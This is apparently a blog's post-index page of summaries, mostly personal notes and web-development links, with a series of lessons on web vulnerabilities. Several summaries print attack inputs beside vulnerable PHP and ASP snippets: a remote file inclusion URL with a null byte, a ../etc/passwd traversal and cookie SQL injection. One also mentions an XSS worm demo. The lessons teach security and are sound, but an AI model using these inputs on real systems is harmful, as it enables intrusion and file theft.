摘要: 知道我为什么来北京么?因为这里离家相对最近,并且有很多优秀的互联网公司。知道我为什么要寻找优秀的互联网公司么?因为我要需要高速的成长,学习并消化更多的知识,提高自己各方面的能力,成为一个强悍的人。知道我为什么要成为强悍的人么?因为我想赚足够多的钱,来解决一些不必要的麻烦。所以从来北京第一天起我就是为了解决麻烦。所以我要是为了省几百块而站几个小时回家的话我会感觉违背自己的初衷。所以去你妈的春运吧,机... 阅读全文
posted @ 2013-01-20 22:49 noevil 阅读(189) 评论(0) 推荐(0) 编辑
摘要: 哎,回去待几天就走,我爸妈这心里又得咯噔一下。你说我这趟回去是对是错?我发现自从来了北京,我就活不明白了,人生的各种苦闷就都找上门来了。今天我安慰自己,我应该知足,我住在沙河,有一次喝完酒回来凌晨两点多了,还有老人在那里翻垃圾桶,我他妈打车就花了140,你说我有什么资格抱怨这这那那。也许操蛋的不是生活,而是我。 阅读全文
posted @ 2012-12-24 16:18 noevil 阅读(178) 评论(0) 推荐(0) 编辑
摘要: 各种地方各种位置各种没有过滤。所以直接xss了。一个Demo蠕虫,没挂马,没跳转,没恶意Iframe。所以您淡定点。有事儿您言语: noevil#foxmail.com 阅读全文
posted @ 2012-12-03 16:02 noevil 阅读(266) 评论(0) 推荐(0) 编辑
摘要: [写的蛮有意思,所以转过来了。]某天,老家一个大爷打电话给我:我侄子想买房,你是学经济的,你觉得这房价接下来还会不会再涨?我告诉他我不懂,他说:你少给我装,街上开出租的都能说出来个一二三,你一个学经济的研究生你不懂?房地产公司又不是你家开的,今天你必须给我说出来个道道儿。我只好跟他讲:这个真说不准,得看政府,如果政府收紧银根,房价就不可能涨;如果政府扩张货币,房价必涨无疑。我在那儿费劲吐沫白活了一... 阅读全文
posted @ 2012-12-01 17:15 noevil 阅读(198) 评论(0) 推荐(0) 编辑
摘要: https://dev.twitter.com/docs/cards 阅读全文
posted @ 2012-06-30 17:11 noevil 阅读(172) 评论(0) 推荐(0) 编辑
摘要: 豆娘的阿尔法城项目:http://www.slideshare.net/dexter_yy/mvc-8554206土豆网工程师写的:http://www.slideshare.net/dexter_yy/js-6228773 阅读全文
posted @ 2012-06-24 18:52 noevil 阅读(369) 评论(0) 推荐(0) 编辑
摘要: Downloadhttp://files.cnblogs.com/noevil/CA.crt.rar 阅读全文
posted @ 2012-05-27 21:20 noevil 阅读(143) 评论(0) 推荐(0) 编辑
摘要: $test = 'key';$this->$test = 1;echo $this->key;// OUTPUT 1 阅读全文
posted @ 2012-05-10 18:51 noevil 阅读(141) 评论(0) 推荐(0) 编辑
摘要: tr { height:30px;}th { text-align:left; color:#888888; background:#F7F7F7; border-top:1px solid #D2D2D2; border-bottom:1px solid #D2D2D2; font: normal 14px/20px DroidSans,Arial,sans-serif;}td { text-align:left; color:#888888; border-bottom:1px dotted #D2D2D2; font: normal 14px/20px DroidSans,Arial,. 阅读全文
posted @ 2012-04-15 02:53 noevil 阅读(200) 评论(0) 推荐(0) 编辑
摘要: http://oscargodson.github.com/EpicEditor/ 阅读全文
posted @ 2012-04-14 16:55 noevil 阅读(291) 评论(0) 推荐(0) 编辑
摘要: http://developer.yahoo.com/yui/yuidoc/ 阅读全文
posted @ 2012-04-10 05:43 noevil 阅读(395) 评论(0) 推荐(0) 编辑
该文被密码保护。 阅读全文
posted @ 2012-04-10 03:27 noevil 阅读(4) 评论(0) 推荐(0) 编辑
摘要: http://tagsoup.com/cookbook/css/fixed/http://www.howtocreate.co.uk/fixedPosition.html 阅读全文
posted @ 2012-04-09 17:01 noevil 阅读(157) 评论(0) 推荐(0) 编辑
摘要: http://altinukshini.wordpress.com/2011/07/28/how-to-install-nvidia-drivers-in-ubuntu-linux/ 阅读全文
posted @ 2012-03-23 03:40 noevil 阅读(206) 评论(0) 推荐(0) 编辑
摘要: 正需要的好东西,标记着:http://www.ruanyifeng.com/blog/2012/02/ranking_algorithm_hacker_news.htmlhttp://www.ruanyifeng.com/blog/2012/03/ranking_algorithm_reddit.htmlhttp://www.ruanyifeng.com/blog/2012/03/ranking_algorithm_stack_overflow.html 阅读全文
posted @ 2012-03-11 16:50 noevil 阅读(186) 评论(0) 推荐(0) 编辑
摘要: PHP:正则表达式处理微博中的话题和对象名转自:http://www.oschina.net/code/snippet_54100_3411$post_content = "@oschina和@twitter在研究用#PHP#的#正则表达式#过滤话题和对象名";$tag_pattern = "/\#([^\#|.]+)\#/";preg_match_all($tag_pattern, $post_content, $tagsarr);$tags = implode(',',$tagsarr[1]);$user_pattern = &quo 阅读全文
posted @ 2012-03-10 15:32 noevil 阅读(728) 评论(0) 推荐(1) 编辑
摘要: (记一些资料,Genosage的Sql需要好好优化一下。)Mysql分页limit 优化http://willko.iteye.com/blog/325618 阅读全文
posted @ 2012-03-10 08:04 noevil 阅读(235) 评论(0) 推荐(0) 编辑
摘要: 老外真是NB。我无话可说了。http://bellard.org/jslinux/tech.html 阅读全文
posted @ 2012-02-26 23:52 noevil 阅读(247) 评论(0) 推荐(0) 编辑
摘要: 收藏着,网上有一些的写的很不靠谱。function setCookie(name,value){ // 30DAYS var Days = 30; var exp = new Date(); //new Date("December 31, 9998"); exp.setTime(exp.getTime() + Days*24*60*60*1000); document.cookie = name + "="+ escape(value) +";expires="+ exp.toGMTString();}function getCoo 阅读全文
posted @ 2012-02-23 13:54 noevil 阅读(188) 评论(0) 推荐(0) 编辑
摘要: 刚才看80Sec曾经的八卦Blog,上面提到豆瓣的技术架构非常之牛x,原文说“几台廉价的PC就构建了千万人在线的热门网站”。这里也贴一下有关豆瓣的技术架构的ppt。(Noevil: 话说你们还记得豆瓣的那个db么?还有如果不知道为什么ppt里到处都是指环王的人物,可以看看这篇文章~http://blog.douban.com/douban/2007/12/17/105/)豆瓣技术架构的发展历程 @ QCon Beijing 2009 View more presentations from Qiangning Hong 阅读全文
posted @ 2012-02-01 14:35 noevil 阅读(466) 评论(0) 推荐(1) 编辑
该文被密码保护。 阅读全文
posted @ 2012-01-26 15:41 noevil 阅读(2) 评论(0) 推荐(0) 编辑
摘要: http://www.libnfc.org/documentation/introductionhttp://code.google.com/p/libnfc/source/browse/trunk/README 阅读全文
posted @ 2012-01-11 11:36 noevil 阅读(669) 评论(0) 推荐(0) 编辑
该文被密码保护。 阅读全文
posted @ 2012-01-09 18:11 noevil 阅读(1) 评论(0) 推荐(0) 编辑
摘要: http://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/md5/ 阅读全文
posted @ 2012-01-07 10:54 noevil 阅读(114) 评论(0) 推荐(0) 编辑
摘要: 燃烧吧,少年!http://www.ibm.com/developerworks/cn/java/j-lo-lucene1/上面的帖子太老了。下面这个比较新:import org.apache.lucene.analysis.standard.StandardAnalyzer;import org.apache.lucene.document.Document;import org.apache.lucene.document.Field;import org.apache.lucene.index.IndexWriter;import org.apache.lucene.queryParse 阅读全文
posted @ 2011-12-05 11:35 noevil 阅读(331) 评论(0) 推荐(0) 编辑
摘要: //2011-11-28 星期一 //程序员思想: <? session_start(); $admin = $_POST['admin']; $pass = md5($_POST['pass']); $codes = $_POST['codes']; if($_GET['action'])...{ if($result=$db->Execute("select * from x_admin where a_admin='".$admin."'"))...{ if 阅读全文
posted @ 2011-11-28 16:02 noevil 阅读(180) 评论(0) 推荐(0) 编辑
摘要: //2011-11-26 星期六 //正则实战: 字符串匹配: function isUsername($element) { return !preg_match ("/[a-zA-Z0-9_\-]/", $element); } ?> 密码匹配: $password = "Fyfjk34sdfjfsjq7"; if (preg_match("/^.*(?=.{8,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).*$/", $password)) { echo "Your passwords is 阅读全文
posted @ 2011-11-28 16:00 noevil 阅读(107) 评论(0) 推荐(0) 编辑
摘要: //2011-11-27 星期日 //正则实战(2): Preg_match验证URL $subscr=$_REQUEST['subscr']; //url validation if (preg_match('|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i', $subscr)) { print "$subscr url OK."; } else { print "$subscr url not valid!"; } //echo("$subsc 阅读全文
posted @ 2011-11-28 16:00 noevil 阅读(296) 评论(0) 推荐(0) 编辑
摘要: //2011-11-24 星期四 //程序员的思想 <% '略 attachdir="/"+sitePath+"upload"'上传文件保存路径,结尾不要带/ dirtype=2'1:按天存入目录 2:按月存入目录 3:按扩展名存目录 建议使用按天存 maxattachsize=2097152'最大上传大小,默认是2M upext="txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid"'上传扩展名 '略 if upfile.is 阅读全文
posted @ 2011-11-28 15:57 noevil 阅读(151) 评论(0) 推荐(0) 编辑
摘要: http://code.google.com/p/assql/ 阅读全文
posted @ 2011-11-22 20:23 noevil 阅读(235) 评论(0) 推荐(0) 编辑
摘要: //2011-11-23 星期三 //Cookie篇 /* 序 */ 讲起注入,就要从防住入说起,但防注入一般只对QueryString和Form做了防范,却忽略了Cookies,自然,注入就产生了,我们从实战出发。 //程序员思想 //Micropoor.asp代码片段 <% //略 Set rsnews=Server.CreateObject("ADODB.RecordSet") sql="update news set hits=hits+1 where id="&cstr(request("id")) conn. 阅读全文
posted @ 2011-11-21 20:12 noevil 阅读(259) 评论(0) 推荐(0) 编辑
摘要: //2011-11-22 星期二 //插入篇----Php程序员角度看安全 //今天全局我们站在Php程序员的角度看待问题 //以及解决问题 结论:一切的输入都是有害的. //参考Php安全新闻早8点(2011-11-12 星期六) [url]http://hi.baidu.com/micropoor/blog/item/f200689bf907af56d1135ec6.html[/url] 既然是一切的输入都是有害的,那么就从输入输出讲起。 ################################################## 1.接受任何变量的时候,都请记住,是有害的开始。确 阅读全文
posted @ 2011-11-20 10:06 noevil 阅读(467) 评论(0) 推荐(0) 编辑
摘要: '2011-11-21 星期一 '插入篇---asp篇 '程序员的思维 'Micropoor.asp代码片段 <% '略 dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath dim dirTemplate : dirTemplate="../Upload" dim path : path=getForm("path","get") : 阅读全文
posted @ 2011-11-20 10:05 noevil 阅读(153) 评论(0) 推荐(0) 编辑
摘要: http://www.planeart.cn/?p=1594http://ejohn.org/blog/javascript-micro-templatinghttp://bbs.phpchina.com/thread-224712-1-1.html[ Noevil: 下面直接贴出改进好的MicroTemp,但是还是建议看一下原文,里面有详细的改进细节,和改进前后的性能对比。]/** * 微型模板引擎 tmpl 0.2 * * 0.2 更新: * 1. 修复转义字符与id判断的BUG * 2. 放弃低效的 with 语句从而最高提升3.5倍的执行效率 * 3. 使用随机内部变量防止与模板变量产 阅读全文
posted @ 2011-11-19 23:37 noevil 阅读(632) 评论(0) 推荐(0) 编辑
摘要: //2011-11-18 星期五 //知识点讲解:urlencode //返回字符串,此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)。此编码与 WWW 表单 POST 数据的编码方式是一样的,同时与 application/x-www-form-urlencoded 的媒体类型编码方式一样。由于历史原因,此编码在将空格编码为加号(+)方面与 RFC1738 编码不同。 //PHP 手册中,urldecode 函数原文引用: The superglobals $_GET and $_REQUEST are already de. 阅读全文
posted @ 2011-11-19 23:03 noevil 阅读(290) 评论(0) 推荐(0) 编辑
摘要: '2011-11-20 星期日 '插入篇---asp篇 '程序员的思维 'Micropoor.asp代码片段 <% dim upload,file,formName,formPath,iCount,fileformat //......略 end function formPath="2010/" //......略 set file=upload.file(formName) ''生成一个文件对象 //......略 if fileformat=".asp" or fileformat=" 阅读全文
posted @ 2011-11-19 23:02 noevil 阅读(155) 评论(0) 推荐(0) 编辑
摘要: //2011-11-19 星期六 //程序员的思维 //Micropoor.php代码片段 <?php //略 $modd=$_GET[mod]; … if(!$tpl->isCached(INDEX_TEMPLATE."product_".$modd.".".$tplext,$cacheid)){ require_once './source/module/$modd.php'; //略 } //我们的思维 index.php?mod=http://www.cnblogs.com/1.php%00 //其他条件 php.in 阅读全文
posted @ 2011-11-19 23:01 noevil 阅读(143) 评论(0) 推荐(0) 编辑
摘要: http://www.cnblogs.com/BearsTaR/有时间要好好学习一下,上面有不少关于高性能Web技术的文章。 阅读全文
posted @ 2011-11-19 15:32 noevil 阅读(109) 评论(0) 推荐(0) 编辑
摘要: //2011-11-18 星期五 //知识点讲解:urlencode //返回字符串,此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)。此编码与 WWW 表单 POST 数据的编码方式是一样的,同时与 application/x-www-form-urlencoded 的媒体类型编码方式一样。由于历史原因,此编码在将空格编码为加号(+)方面与 RFC1738 编码不同。 //PHP 手册中,urldecode 函数原文引用: The superglobals $_GET and $_REQUEST are already de. 阅读全文
posted @ 2011-11-18 11:35 noevil 阅读(239) 评论(0) 推荐(0) 编辑
摘要: //2011-11-16 星期三 // 程序员的思维: // Micropoor.php ---代码片段 <?php $Micropoor=$_GET[Micropoor]; include($Micropoor.'php'); ?> //我们的思维: [url]http://www.127.0.0.1/Micropoor.php?Micropoor=/http://www.cnblogs.com/http://www.cnblogs.com/../etc/passwd%00[url] // 程序员的思维: // Micropoor.php ---代码片段 < 阅读全文
posted @ 2011-11-18 11:34 noevil 阅读(201) 评论(0) 推荐(0) 编辑